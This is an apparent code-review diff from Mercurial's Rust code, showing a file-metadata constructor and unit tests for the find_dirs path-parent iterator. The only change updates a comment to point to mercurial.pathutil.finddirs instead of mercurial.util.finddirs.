94 94 use std::os::unix::fs::MetadataExt;
95 95 Self {
96 96 st_dev: metadata.dev(),
97 97 st_mode: metadata.mode(),
98 98 st_nlink: metadata.nlink(),
99 99 st_size: metadata.size(),
100 100 st_mtime: metadata.mtime(),
101 101 st_ctime: metadata.ctime(),
102 102 }
103 103 }
104 104 }
105 105
106 106 #[cfg(test)]
107 107 mod tests {
108 108 use super::*;
109 109
110 110 #[test]
111 111 fn find_dirs_some() {
112 112 let mut dirs = super::find_dirs(HgPath::new(b"foo/bar/baz"));
113 113 assert_eq!(dirs.next(), Some(HgPath::new(b"foo/bar")));
114 114 assert_eq!(dirs.next(), Some(HgPath::new(b"foo")));
115 115 assert_eq!(dirs.next(), Some(HgPath::new(b"")));
116 116 assert_eq!(dirs.next(), None);
117 117 assert_eq!(dirs.next(), None);
118 118 }
119 119
120 120 #[test]
121 121 fn find_dirs_empty() {
122 // looks weird, but mercurial.util.finddirs(b"") yields b""
122 // looks weird, but mercurial.pathutil.finddirs(b"") yields b""
123 123 let mut dirs = super::find_dirs(HgPath::new(b""));
124 124 assert_eq!(dirs.next(), Some(HgPath::new(b"")));
125 125 assert_eq!(dirs.next(), None);
126 126 assert_eq!(dirs.next(), None);
127 127 }
128 128 }
General Comments 0
You need to be logged in to leave comments. Login now